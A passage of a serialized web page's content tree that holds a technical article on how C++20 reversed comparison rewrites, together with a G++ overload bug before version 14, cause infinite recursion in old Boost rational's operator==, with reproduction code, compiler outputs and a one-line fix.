std::cout ",{"type":23,"tag":230,"props":92503,"children":92504},{"style":268},[92505],{"type":29,"value":92337},{"type":23,"tag":230,"props":92507,"children":92508},{"style":380},[92509],{"type":29,"value":92510}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":230,"props":92512,"children":92513},{"style":268},[92514],{"type":29,"value":92347},{"type":23,"tag":230,"props":92516,"children":92517},{"style":274},[92518],{"type":29,"value":92352},{"type":23,"tag":230,"props":92520,"children":92521},{"class":232,"line":960},[92522,92526,92530],{"type":23,"tag":230,"props":92523,"children":92524},{"style":866},[92525],{"type":29,"value":4427},{"type":23,"tag":230,"props":92527,"children":92528},{"style":256},[92529],{"type":29,"value":11391},{"type":23,"tag":230,"props":92531,"children":92532},{"style":274},[92533],{"type":29,"value":511},{"type":23,"tag":230,"props":92535,"children":92536},{"class":232,"line":969},[92537],{"type":23,"tag":230,"props":92538,"children":92539},{"style":274},[92540],{"type":29,"value":975},{"type":23,"tag":230,"props":92542,"children":92543},{"class":232,"line":4526},[92544],{"type":23,"tag":230,"props":92545,"children":92546},{"emptyLinePlaceholder":18},[92547],{"type":29,"value":459},{"type":23,"tag":230,"props":92549,"children":92550},{"class":232,"line":4534},[92551,92555,92560],{"type":23,"tag":230,"props":92552,"children":92553},{"style":256},[92554],{"type":29,"value":21364},{"type":23,"tag":230,"props":92556,"children":92557},{"style":294},[92558],{"type":29,"value":92559}," main",{"type":23,"tag":230,"props":92561,"children":92562},{"style":274},[92563],{"type":29,"value":18061},{"type":23,"tag":230,"props":92565,"children":92566},{"class":232,"line":4542},[92567,92572,92576,92580,92584],{"type":23,"tag":230,"props":92568,"children":92569},{"style":274},[92570],{"type":29,"value":92571},"    rational",{"type":23,"tag":230,"props":92573,"children":92574},{"style":268},[92575],{"type":29,"value":8143},{"type":23,"tag":230,"props":92577,"children":92578},{"style":256},[92579],{"type":29,"value":21364},{"type":23,"tag":230,"props":92581,"children":92582},{"style":268},[92583],{"type":29,"value":12792},{"type":23,"tag":230,"props":92585,"children":92586},{"style":274},[92587],{"type":29,"value":92588}," r;\n",{"type":23,"tag":230,"props":92590,"children":92591},{"class":232,"line":4559},[92592,92596,92601,92605,92609],{"type":23,"tag":230,"props":92593,"children":92594},{"style":866},[92595],{"type":29,"value":4427},{"type":23,"tag":230,"props":92597,"children":92598},{"style":274},[92599],{"type":29,"value":92600}," r ",{"type":23,"tag":230,"props":92602,"children":92603},{"style":268},[92604],{"type":29,"value":10911},{"type":23,"tag":230,"props":92606,"children":92607},{"style":5149},[92608],{"type":29,"value":5386},{"type":23,"tag":230,"props":92610,"children":92611},{"style":274},[92612],{"type":29,"value":511},{"type":23,"tag":230,"props":92614,"children":92615},{"class":232,"line":4587},[92616],{"type":23,"tag":230,"props":92617,"children":92618},{"style":274},[92619],{"type":29,"value":975},{"type":23,"tag":98,"props":92621,"children":92622},{},[92623],{"type":23,"tag":102,"props":92624,"children":92625},{},[92626],{"type":29,"value":92627},"Compile with g++\u003C14:",{"type":23,"tag":220,"props":92629,"children":92631},{"code":92630,"language":6580,"meta":7,"className":6581,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[92632],{"type":23,"tag":71,"props":92633,"children":92634},{"__ignoreMap":7},[92635],{"type":23,"tag":230,"props":92636,"children":92637},{"class":232,"line":233},[92638,92643,92648,92653,92658,92662,92667],{"type":23,"tag":230,"props":92639,"children":92640},{"style":294},[92641],{"type":29,"value":92642},"g++",{"type":23,"tag":230,"props":92644,"children":92645},{"style":380},[92646],{"type":29,"value":92647}," -std=c++17",{"type":23,"tag":230,"props":92649,"children":92650},{"style":380},[92651],{"type":29,"value":92652}," main.cpp",{"type":23,"tag":230,"props":92654,"children":92655},{"style":380},[92656],{"type":29,"value":92657}," -o",{"type":23,"tag":230,"props":92659,"children":92660},{"style":380},[92661],{"type":29,"value":32985},{"type":23,"tag":230,"props":92663,"children":92664},{"style":274},[92665],{"type":29,"value":92666}," && ",{"type":23,"tag":230,"props":92668,"children":92669},{"style":294},[92670],{"type":29,"value":92671},"./test\n",{"type":23,"tag":32,"props":92673,"children":92674},{},[92675],{"type":29,"value":92676},"Output (on g++ 11.4):",{"type":23,"tag":220,"props":92678,"children":92680},{"code":92679},"g++ \u003C14 resolved non-member\n",[92681],{"type":23,"tag":71,"props":92682,"children":92683},{"__ignoreMap":7},[92684],{"type":29,"value":92679},{"type":23,"tag":98,"props":92686,"children":92687},{},[92688],{"type":23,"tag":102,"props":92689,"children":92690},{},[92691],{"type":29,"value":92692},"Compile with clang++:",{"type":23,"tag":220,"props":92694,"children":92696},{"code":92695,"language":6580,"meta":7,"className":6581,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[92697],{"type":23,"tag":71,"props":92698,"children":92699},{"__ignoreMap":7},[92700],{"type":23,"tag":230,"props":92701,"children":92702},{"class":232,"line":233},[92703,92708,92712,92716,92720,92724,92728],{"type":23,"tag":230,"props":92704,"children":92705},{"style":294},[92706],{"type":29,"value":92707},"clang++",{"type":23,"tag":230,"props":92709,"children":92710},{"style":380},[92711],{"type":29,"value":92647},{"type":23,"tag":230,"props":92713,"children":92714},{"style":380},[92715],{"type":29,"value":92652},{"type":23,"tag":230,"props":92717,"children":92718},{"style":380},[92719],{"type":29,"value":92657},{"type":23,"tag":230,"props":92721,"children":92722},{"style":380},[92723],{"type":29,"value":32985},{"type":23,"tag":230,"props":92725,"children":92726},{"style":274},[92727],{"type":29,"value":92666},{"type":23,"tag":230,"props":92729,"children":92730},{"style":294},[92731],{"type":29,"value":92671},{"type":23,"tag":32,"props":92733,"children":92734},{},[92735],{"type":29,"value":92736},"Output:",{"type":23,"tag":220,"props":92738,"children":92740},{"code":92739},"clang++ resolved member\n",[92741],{"type":23,"tag":71,"props":92742,"children":92743},{"__ignoreMap":7},[92744],{"type":29,"value":92739},{"type":23,"tag":32,"props":92746,"children":92747},{},[92748],{"type":29,"value":92749},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":21113,"props":92751,"children":92752},{},[],{"type":23,"tag":24,"props":92754,"children":92756},{"id":92755},"part-ii-c20s-symmetric-comparison-feature",[92757],{"type":29,"value":92758},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":59,"props":92760,"children":92762},{"id":92761},"what-changed-in-c20",[92763],{"type":29,"value":92764},"What Changed in C++20?",{"type":23,"tag":32,"props":92766,"children":92767},{},[92768,92770,92783,92784,92789],{"type":29,"value":92769},"C++20 introduced the ",{"type":23,"tag":181,"props":92771,"children":92774},{"href":92772,"rel":92773},"https://en.cppreference.com/w/cpp/language/operator_comparison",[185],[92775,92777],{"type":29,"value":92776},"spaceship operator ",{"type":23,"tag":71,"props":92778,"children":92780},{"className":92779},[],[92781],{"type":29,"value":92782},"\u003C=>",{"type":29,"value":112},{"type":23,"tag":2302,"props":92785,"children":92786},{},[92787],{"type":29,"value":92788},"defaulted comparison rewrites",{"type":29,"value":312},{"type":23,"tag":32,"props":92791,"children":92792},{},[92793,92795,92800],{"type":29,"value":92794},"When you define a two-argument ",{"type":23,"tag":71,"props":92796,"children":92798},{"className":92797},[],[92799],{"type":29,"value":92034},{"type":29,"value":92801},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":98,"props":92803,"children":92804},{},[92805,92816],{"type":23,"tag":102,"props":92806,"children":92807},{},[92808,92810],{"type":29,"value":92809},"If you define: ",{"type":23,"tag":71,"props":92811,"children":92813},{"className":92812},[],[92814],{"type":29,"value":92815},"bool operator==(T1, T2);",{"type":23,"tag":102,"props":92817,"children":92818},{},[92819,92821,92827],{"type":29,"value":92820},"Then ",{"type":23,"tag":71,"props":92822,"children":92824},{"className":92823},[],[92825],{"type":29,"value":92826},"T2 == T1",{"type":29,"value":92828}," may call the same function by reversing the arguments.",{"type":23,"tag":32,"props":92830,"children":92831},{},[92832,92834,92839,92840,92845,92847,92853,92855,92860],{"type":29,"value":92833},"This rewrite is ",{"type":23,"tag":2302,"props":92835,"children":92836},{},[92837],{"type":29,"value":92838},"recursive",{"type":29,"value":817},{"type":23,"tag":71,"props":92841,"children":92843},{"className":92842},[],[92844],{"type":29,"value":92026},{"type":29,"value":92846}," becomes ",{"type":23,"tag":71,"props":92848,"children":92850},{"className":92849},[],[92851],{"type":29,"value":92852},"b == a",{"type":29,"value":92854},", which becomes ",{"type":23,"tag":71,"props":92856,"children":92858},{"className":92857},[],[92859],{"type":29,"value":92026},{"type":29,"value":92861}," again, and so on — if not handled carefully.",{"type":23,"tag":32,"props":92863,"children":92864},{},[92865],{"type":29,"value":92866},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":21113,"props":92868,"children":92869},{},[],{"type":23,"tag":24,"props":92871,"children":92873},{"id":92872},"part-iii-the-boost-trapdoor",[92874],{"type":29,"value":92875},"Part III: The Boost Trapdoor",{"type":23,"tag":32,"props":92877,"children":92878},{},[92879,92881,92887,92889,92894],{"type":29,"value":92880},"The old Boost ",{"type":23,"tag":71,"props":92882,"children":92884},{"className":92883},[],[92885],{"type":29,"value":92886},"rational",{"type":29,"value":92888}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":71,"props":92890,"children":92892},{"className":92891},[],[92893],{"type":29,"value":92034},{"type":29,"value":218},{"type":23,"tag":220,"props":92896,"children":92898},{"code":92897,"language":31419,"meta":7,"className":31417,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[92899],{"type":23,"tag":71,"props":92900,"children":92901},{"__ignoreMap":7},[92902,92937,92960,92972,92979,92986,92993,93000,93007,93030,93118,93125,93176,93183,93190,93197,93204,93239,93247,93275,93314,93379,93386,93406],{"type":23,"tag":230,"props":92903,"children":92904},{"class":232,"line":233},[92905,92909,92913,92917,92921,92925,92929,92933],{"type":23,"tag":230,"props":92906,"children":92907},{"style":256},[92908],{"type":29,"value":67992},{"type":23,"tag":230,"props":92910,"children":92911},{"style":274},[92912],{"type":29,"value":11055},{"type":23,"tag":230,"props":92914,"children":92915},{"style":256},[92916],{"type":29,"value":72187},{"type":23,"tag":230,"props":92918,"children":92919},{"style":676},[92920],{"type":29,"value":92408},{"type":23,"tag":230,"props":92922,"children":92923},{"style":274},[92924],{"type":29,"value":684},{"type":23,"tag":230,"props":92926,"children":92927},{"style":256},[92928],{"type":29,"value":72187},{"type":23,"tag":230,"props":92930,"children":92931},{"style":676},[92932],{"type":29,"value":92227},{"type":23,"tag":230,"props":92934,"children":92935},{"style":274},[92936],{"type":29,"value":8329},{"type":23,"tag":230,"props":92938,"children":92939},{"class":232,"line":243},[92940,92944,92948,92952,92956],{"type":23,"tag":230,"props":92941,"children":92942},{"style":256},[92943],{"type":29,"value":67992},{"type":23,"tag":230,"props":92945,"children":92946},{"style":274},[92947],{"type":29,"value":11055},{"type":23,"tag":230,"props":92949,"children":92950},{"style":256},[92951],{"type":29,"value":92222},{"type":23,"tag":230,"props":92953,"children":92954},{"style":676},[92955],{"type":29,"value":92227},{"type":23,"tag":230,"props":92957,"children":92958},{"style":274},[92959],{"type":29,"value":8329},{"type":23,"tag":230,"props":92961,"children":92962},{"class":232,"line":252},[92963,92967],{"type":23,"tag":230,"props":92964,"children":92965},{"style":256},[92966],{"type":29,"value":72187},{"type":23,"tag":230,"props":92968,"children":92969},{"style":676},[92970],{"type":29,"value":92971}," rational\n",{"type":23,"tag":230,"props":92973,"children":92974},{"class":232,"line":280},[92975],{"type":23,"tag":230,"props":92976,"children":92977},{"style":274},[92978],{"type":29,"value":13211},{"type":23,"tag":230,"props":92980,"children":92981},{"class":232,"line":334},[92982],{"type":23,"tag":230,"props":92983,"children":92984},{"style":274},[92985],{"type":29,"value":22654},{"type":23,"tag":230,"props":92987,"children":92988},{"class":232,"line":371},[92989],{"type":23,"tag":230,"props":92990,"children":92991},{"style":256},[92992],{"type":29,"value":92255},{"type":23,"tag":230,"props":92994,"children":92995},{"class":232,"line":391},[92996],{"type":23,"tag":230,"props":92997,"children":92998},{"style":274},[92999],{"type":29,"value":22654},{"type":23,"tag":230,"props":93001,"children":93002},{"class":232,"line":400},[93003],{"type":23,"tag":230,"props":93004,"children":93005},{"style":274},[93006],{"type":29,"value":63561},{"type":23,"tag":230,"props":93008,"children":93009},{"class":232,"line":444},[93010,93014,93018,93022,93026],{"type":23,"tag":230,"props":93011,"children":93012},{"style":256},[93013],{"type":29,"value":92263},{"type":23,"tag":230,"props":93015,"children":93016},{"style":274},[93017],{"type":29,"value":11055},{"type":23,"tag":230,"props":93019,"children":93020},{"style":256},[93021],{"type":29,"value":72187},{"type":23,"tag":230,"props":93023,"children":93024},{"style":676},[93025],{"type":29,"value":8255},{"type":23,"tag":230,"props":93027,"children":93028},{"style":274},[93029],{"type":29,"value":8329},{"type":23,"tag":230,"props":93031,"children":93032},{"class":232,"line":453},[93033,93038,93042,93047,93051,93055,93059,93064,93068,93072,93076,93080,93084,93088,93093,93097,93101,93105,93109,93113],{"type":23,"tag":230,"props":93034,"children":93035},{"style":274},[93036],{"type":29,"value":93037},"    BOOST_CONSTEXPR ",{"type":23,"tag":230,"props":93039,"children":93040},{"style":256},[93041],{"type":29,"value":92222},{"type":23,"tag":230,"props":93043,"children":93044},{"style":274},[93045],{"type":29,"value":93046}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":230,"props":93048,"children":93049},{"style":676},[93050],{"type":29,"value":8324},{"type":23,"tag":230,"props":93052,"children":93053},{"style":274},[93054],{"type":29,"value":684},{"type":23,"tag":230,"props":93056,"children":93057},{"style":676},[93058],{"type":29,"value":92456},{"type":23,"tag":230,"props":93060,"children":93061},{"style":274},[93062],{"type":29,"value":93063},">::",{"type":23,"tag":230,"props":93065,"children":93066},{"style":676},[93067],{"type":29,"value":3856},{"type":23,"tag":230,"props":93069,"children":93070},{"style":274},[93071],{"type":29,"value":684},{"type":23,"tag":230,"props":93073,"children":93074},{"style":256},[93075],{"type":29,"value":31992},{"type":23,"tag":230,"props":93077,"children":93078},{"style":274},[93079],{"type":29,"value":93063},{"type":23,"tag":230,"props":93081,"children":93082},{"style":676},[93083],{"type":29,"value":35049},{"type":23,"tag":230,"props":93085,"children":93086},{"style":256},[93087],{"type":29,"value":92291},{"type":23,"tag":230,"props":93089,"children":93090},{"style":274},[93091],{"type":29,"value":93092},"== (",{"type":23,"tag":230,"props":93094,"children":93095},{"style":256},[93096],{"type":29,"value":259},{"type":23,"tag":230,"props":93098,"children":93099},{"style":676},[93100],{"type":29,"value":8255},{"type":23,"tag":230,"props":93102,"children":93103},{"style":256},[93104],{"type":29,"value":5448},{"type":23,"tag":230,"props":93106,"children":93107},{"style":262},[93108],{"type":29,"value":5736},{"type":23,"tag":230,"props":93110,"children":93111},{"style":274},[93112],{"type":29,"value":703},{"type":23,"tag":230,"props":93114,"children":93115},{"style":256},[93116],{"type":29,"value":93117},"const\n",{"type":23,"tag":230,"props":93119,"children":93120},{"class":232,"line":462},[93121],{"type":23,"tag":230,"props":93122,"children":93123},{"style":274},[93124],{"type":29,"value":31494},{"type":23,"tag":230,"props":93126,"children":93127},{"class":232,"line":471},[93128,93133,93138,93142,93146,93150,93154,93158,93162,93167,93171],{"type":23,"tag":230,"props":93129,"children":93130},{"style":866},[93131],{"type":29,"value":93132},"       return",{"type":23,"tag":230,"props":93134,"children":93135},{"style":274},[93136],{"type":29,"value":93137}," ((den ",{"type":23,"tag":230,"props":93139,"children":93140},{"style":268},[93141],{"type":29,"value":10911},{"type":23,"tag":230,"props":93143,"children":93144},{"style":294},[93145],{"type":29,"value":92227},{"type":23,"tag":230,"props":93147,"children":93148},{"style":274},[93149],{"type":29,"value":302},{"type":23,"tag":230,"props":93151,"children":93152},{"style":5149},[93153],{"type":29,"value":6348},{"type":23,"tag":230,"props":93155,"children":93156},{"style":274},[93157],{"type":29,"value":11171},{"type":23,"tag":230,"props":93159,"children":93160},{"style":268},[93161],{"type":29,"value":74974},{"type":23,"tag":230,"props":93163,"children":93164},{"style":274},[93165],{"type":29,"value":93166}," (num ",{"type":23,"tag":230,"props":93168,"children":93169},{"style":268},[93170],{"type":29,"value":10911},{"type":23,"tag":230,"props":93172,"children":93173},{"style":274},[93174],{"type":29,"value":93175}," i));\n",{"type":23,"tag":230,"props":93177,"children":93178},{"class":232,"line":500},[93179],{"type":23,"tag":230,"props":93180,"children":93181},{"style":274},[93182],{"type":29,"value":1552},{"type":23,"tag":230,"props":93184,"children":93185},{"class":232,"line":514},[93186],{"type":23,"tag":230,"props":93187,"children":93188},{"style":274},[93189],{"type":29,"value":22654},{"type":23,"tag":230,"props":93191,"children":93192},{"class":232,"line":897},[93193],{"type":23,"tag":230,"props":93194,"children":93195},{"style":274},[93196],{"type":29,"value":975},{"type":23,"tag":230,"props":93198,"children":93199},{"class":232,"line":960},[93200],{"type":23,"tag":230,"props":93201,"children":93202},{"emptyLinePlaceholder":18},[93203],{"type":29,"value":459},{"type":23,"tag":230,"props":93205,"children":93206},{"class":232,"line":969},[93207,93211,93215,93219,93223,93227,93231,93235],{"type":23,"tag":230,"props":93208,"children":93209},{"style":256},[93210],{"type":29,"value":67992},{"type":23,"tag":230,"props":93212,"children":93213},{"style":274},[93214],{"type":29,"value":11055},{"type":23,"tag":230,"props":93216,"children":93217},{"style":256},[93218],{"type":29,"value":72187},{"type":23,"tag":230,"props":93220,"children":93221},{"style":676},[93222],{"type":29,"value":92408},{"type":23,"tag":230,"props":93224,"children":93225},{"style":274},[93226],{"type":29,"value":684},{"type":23,"tag":230,"props":93228,"children":93229},{"style":256},[93230],{"type":29,"value":72187},{"type":23,"tag":230,"props":93232,"children":93233},{"style":676},[93234],{"type":29,"value":92227},{"type":23,"tag":230,"props":93236,"children":93237},{"style":274},[93238],{"type":29,"value":8329},{"type":23,"tag":230,"props":93240,"children":93241},{"class":232,"line":4526},[93242],{"type":23,"tag":230,"props":93243,"children":93244},{"style":274},[93245],{"type":29,"value":93246},"BOOST_CONSTEXPR\n",{"type":23,"tag":230,"props":93248,"children":93249},{"class":232,"line":4534},[93250,93255,93260,93265,93270],{"type":23,"tag":230,"props":93251,"children":93252},{"style":256},[93253],{"type":29,"value":93254},"inline",{"type":23,"tag":230,"props":93256,"children":93257},{"style":256},[93258],{"type":29,"value":93259}," typename",{"type":23,"tag":230,"props":93261,"children":93262},{"style":274},[93263],{"type":29,"value":93264}," boost::",{"type":23,"tag":230,"props":93266,"children":93267},{"style":676},[93268],{"type":29,"value":93269},"enable_if_c",{"type":23,"tag":230,"props":93271,"children":93272},{"style":268},[93273],{"type":29,"value":93274}," \u003C\n",{"type":23,"tag":230,"props":93276,"children":93277},{"class":232,"line":4542},[93278,93283,93288,93292,93296,93301,93305,93309],{"type":23,"tag":230,"props":93279,"children":93280},{"style":274},[93281],{"type":29,"value":93282},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":230,"props":93284,"children":93285},{"style":676},[93286],{"type":29,"value":93287},"Arg",{"type":23,"tag":230,"props":93289,"children":93290},{"style":274},[93291],{"type":29,"value":684},{"type":23,"tag":230,"props":93293,"children":93294},{"style":676},[93295],{"type":29,"value":92456},{"type":23,"tag":230,"props":93297,"children":93298},{"style":274},[93299],{"type":29,"value":93300},">::value, ",{"type":23,"tag":230,"props":93302,"children":93303},{"style":256},[93304],{"type":29,"value":31992},{"type":23,"tag":230,"props":93306,"children":93307},{"style":268},[93308],{"type":29,"value":12792},{"type":23,"tag":230,"props":93310,"children":93311},{"style":274},[93312],{"type":29,"value":93313},"::type\n",{"type":23,"tag":230,"props":93315,"children":93316},{"class":232,"line":4559},[93317,93322,93327,93331,93335,93339,93343,93347,93351,93355,93359,93363,93367,93371,93375],{"type":23,"tag":230,"props":93318,"children":93319},{"style":256},[93320],{"type":29,"value":93321},"   operator",{"type":23,"tag":230,"props":93323,"children":93324},{"style":274},[93325],{"type":29,"value":93326}," == (",{"type":23,"tag":230,"props":93328,"children":93329},{"style":256},[93330],{"type":29,"value":259},{"type":23,"tag":230,"props":93332,"children":93333},{"style":676},[93334],{"type":29,"value":92408},{"type":23,"tag":230,"props":93336,"children":93337},{"style":256},[93338],{"type":29,"value":5448},{"type":23,"tag":230,"props":93340,"children":93341},{"style":262},[93342],{"type":29,"value":92489},{"type":23,"tag":230,"props":93344,"children":93345},{"style":274},[93346],{"type":29,"value":684},{"type":23,"tag":230,"props":93348,"children":93349},{"style":256},[93350],{"type":29,"value":259},{"type":23,"tag":230,"props":93352,"children":93353},{"style":676},[93354],{"type":29,"value":92243},{"type":23,"tag":230,"props":93356,"children":93357},{"style":274},[93358],{"type":29,"value":8143},{"type":23,"tag":230,"props":93360,"children":93361},{"style":676},[93362],{"type":29,"value":92456},{"type":23,"tag":230,"props":93364,"children":93365},{"style":274},[93366],{"type":29,"value":12792},{"type":23,"tag":230,"props":93368,"children":93369},{"style":256},[93370],{"type":29,"value":5448},{"type":23,"tag":230,"props":93372,"children":93373},{"style":262},[93374],{"type":29,"value":91615},{"type":23,"tag":230,"props":93376,"children":93377},{"style":274},[93378],{"type":29,"value":4516},{"type":23,"tag":230,"props":93380,"children":93381},{"class":232,"line":4587},[93382],{"type":23,"tag":230,"props":93383,"children":93384},{"style":274},[93385],{"type":29,"value":13211},{"type":23,"tag":230,"props":93387,"children":93388},{"class":232,"line":4595},[93389,93393,93397,93401],{"type":23,"tag":230,"props":93390,"children":93391},{"style":866},[93392],{"type":29,"value":4063},{"type":23,"tag":230,"props":93394,"children":93395},{"style":274},[93396],{"type":29,"value":19086},{"type":23,"tag":230,"props":93398,"children":93399},{"style":268},[93400],{"type":29,"value":10911},{"type":23,"tag":230,"props":93402,"children":93403},{"style":274},[93404],{"type":29,"value":93405}," b; \n",{"type":23,"tag":230,"props":93407,"children":93408},{"class":232,"line":4619},[93409],{"type":23,"tag":230,"props":93410,"children":93411},{"style":274},[93412],{"type":29,"value":975},{"type":23,"tag":32,"props":93414,"children":93415},{},[93416,93418,93424],{"type":29,"value":93417},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":71,"props":93419,"children":93421},{"className":93420},[],[93422],{"type":29,"value":93423},"rhs == lhs",{"type":29,"value":93425}," would fall back to member overloads if available. All good.",{"type":23,"tag":32,"props":93427,"children":93428},{},[93429,93431,93436,93437,93443],{"type":29,"value":93430},"But under ",{"type":23,"tag":71,"props":93432,"children":93434},{"className":93433},[],[93435],{"type":29,"value":91980},{"type":29,"value":23818},{"type":23,"tag":71,"props":93438,"children":93440},{"className":93439},[],[93441],{"type":29,"value":93442},"G++ \u003C 14",{"type":29,"value":218},{"type":23,"tag":98,"props":93445,"children":93446},{},[93447,93452,93457,93462],{"type":23,"tag":102,"props":93448,"children":93449},{},[93450],{"type":29,"value":93451},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":102,"props":93453,"children":93454},{},[93455],{"type":29,"value":93456},"C++20 reverses the comparison",{"type":23,"tag":102,"props":93458,"children":93459},{},[93460],{"type":29,"value":93461},"Which calls the same function again with arguments flipped",{"type":23,"tag":102,"props":93463,"children":93464},{},[93465],{"type":29,"value":93466},"And so on...",{"type":23,"tag":32,"props":93468,"children":93469},{},[93470,93472,93477],{"type":29,"value":93471},"This creates ",{"type":23,"tag":2302,"props":93473,"children":93474},{},[93475],{"type":29,"value":93476},"infinite recursion",{"type":29,"value":312},{"type":23,"tag":32,"props":93479,"children":93480},{},[93481],{"type":29,"value":93482},"A minimal example:",{"type":23,"tag":220,"props":93484,"children":93486},{"code":93485,"language":31419,"meta":7,"className":31417,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[93487],{"type":23,"tag":71,"props":93488,"children":93489},{"__ignoreMap":7},[93490,93498,93510,93517,93532,93556,93579],{"type":23,"tag":230,"props":93491,"children":93492},{"class":232,"line":233},[93493],{"type":23,"tag":230,"props":93494,"children":93495},{"style":237},[93496],{"type":29,"value":93497},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":230,"props":93499,"children":93500},{"class":232,"line":243},[93501,93505],{"type":23,"tag":230,"props":93502,"children":93503},{"style":866},[93504],{"type":29,"value":92194},{"type":23,"tag":230,"props":93506,"children":93507},{"style":380},[93508],{"type":29,"value":93509}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":230,"props":93511,"children":93512},{"class":232,"line":252},[93513],{"type":23,"tag":230,"props":93514,"children":93515},{"emptyLinePlaceholder":18},[93516],{"type":29,"value":459},{"type":23,"tag":230,"props":93518,"children":93519},{"class":232,"line":280},[93520,93524,93528],{"type":23,"tag":230,"props":93521,"children":93522},{"style":256},[93523],{"type":29,"value":21364},{"type":23,"tag":230,"props":93525,"children":93526},{"style":294},[93527],{"type":29,"value":92559},{"type":23,"tag":230,"props":93529,"children":93530},{"style":274},[93531],{"type":29,"value":18061},{"type":23,"tag":230,"props":93533,"children":93534},{"class":232,"line":334},[93535,93540,93544,93548,93552],{"type":23,"tag":230,"props":93536,"children":93537},{"style":274},[93538],{"type":29,"value":93539},"    boost::rational",{"type":23,"tag":230,"props":93541,"children":93542},{"style":268},[93543],{"type":29,"value":8143},{"type":23,"tag":230,"props":93545,"children":93546},{"style":256},[93547],{"type":29,"value":21364},{"type":23,"tag":230,"props":93549,"children":93550},{"style":268},[93551],{"type":29,"value":12792},{"type":23,"tag":230,"props":93553,"children":93554},{"style":274},[93555],{"type":29,"value":92588},{"type":23,"tag":230,"props":93557,"children":93558},{"class":232,"line":371},[93559,93563,93567,93571,93575],{"type":23,"tag":230,"props":93560,"children":93561},{"style":866},[93562],{"type":29,"value":4427},{"type":23,"tag":230,"props":93564,"children":93565},{"style":274},[93566],{"type":29,"value":92600},{"type":23,"tag":230,"props":93568,"children":93569},{"style":268},[93570],{"type":29,"value":10911},{"type":23,"tag":230,"props":93572,"children":93573},{"style":5149},[93574],{"type":29,"value":5386},{"type":23,"tag":230,"props":93576,"children":93577},{"style":274},[93578],{"type":29,"value":511},{"type":23,"tag":230,"props":93580,"children":93581},{"class":232,"line":391},[93582],{"type":23,"tag":230,"props":93583,"children":93584},{"style":274},[93585],{"type":29,"value":975},{"type":23,"tag":32,"props":93587,"children":93588},{},[93589],{"type":29,"value":93590},"Expected output: nothing.",{"type":23,"tag":32,"props":93592,"children":93593},{},[93594],{"type":29,"value":93595},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":32,"props":93597,"children":93598},{},[93599,93601,93608],{"type":29,"value":93600},"This exact pattern was ",{"type":23,"tag":181,"props":93602,"children":93605},{"href":93603,"rel":93604},"https://github.com/boostorg/rational/issues/43",[185],[93606],{"type":29,"value":93607},"reported and fixed in Boost rational",{"type":29,"value":93609},", but only in version 1.75+.",{"type":23,"tag":32,"props":93611,"children":93612},{},[93613],{"type":29,"value":93614},"Here’s the one-line fix:",{"type":23,"tag":220,"props":93616,"children":93618},{"code":93617,"language":5115,"meta":7,"className":5113,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[93619],{"type":23,"tag":71,"props":93620,"children":93621},{"__ignoreMap":7},[93622,93630,93637,93645,93653,93661,93668,93676,93684],{"type":23,"tag":230,"props":93623,"children":93624},{"class":232,"line":233},[93625],{"type":23,"tag":230,"props":93626,"children":93627},{"style":274},[93628],{"type":29,"value":93629},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":230,"props":93631,"children":93632},{"class":232,"line":243},[93633],{"type":23,"tag":230,"props":93634,"children":93635},{"style":274},[93636],{"type":29,"value":93246},{"type":23,"tag":230,"props":93638,"children":93639},{"class":232,"line":252},[93640],{"type":23,"tag":230,"props":93641,"children":93642},{"style":274},[93643],{"type":29,"value":93644},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":230,"props":93646,"children":93647},{"class":232,"line":280},[93648],{"type":23,"tag":230,"props":93649,"children":93650},{"style":274},[93651],{"type":29,"value":93652},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":230,"props":93654,"children":93655},{"class":232,"line":334},[93656],{"type":23,"tag":230,"props":93657,"children":93658},{"style":274},[93659],{"type":29,"value":93660},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":230,"props":93662,"children":93663},{"class":232,"line":371},[93664],{"type":23,"tag":230,"props":93665,"children":93666},{"style":274},[93667],{"type":29,"value":13211},{"type":23,"tag":230,"props":93669,"children":93670},{"class":232,"line":391},[93671],{"type":23,"tag":230,"props":93672,"children":93673},{"style":380},[93674],{"type":29,"value":93675},"-     return a == b;\n",{"type":23,"tag":230,"props":93677,"children":93678},{"class":232,"line":400},[93679],{"type":23,"tag":230,"props":93680,"children":93681},{"style":5149},[93682],{"type":29,"value":93683},"+     return 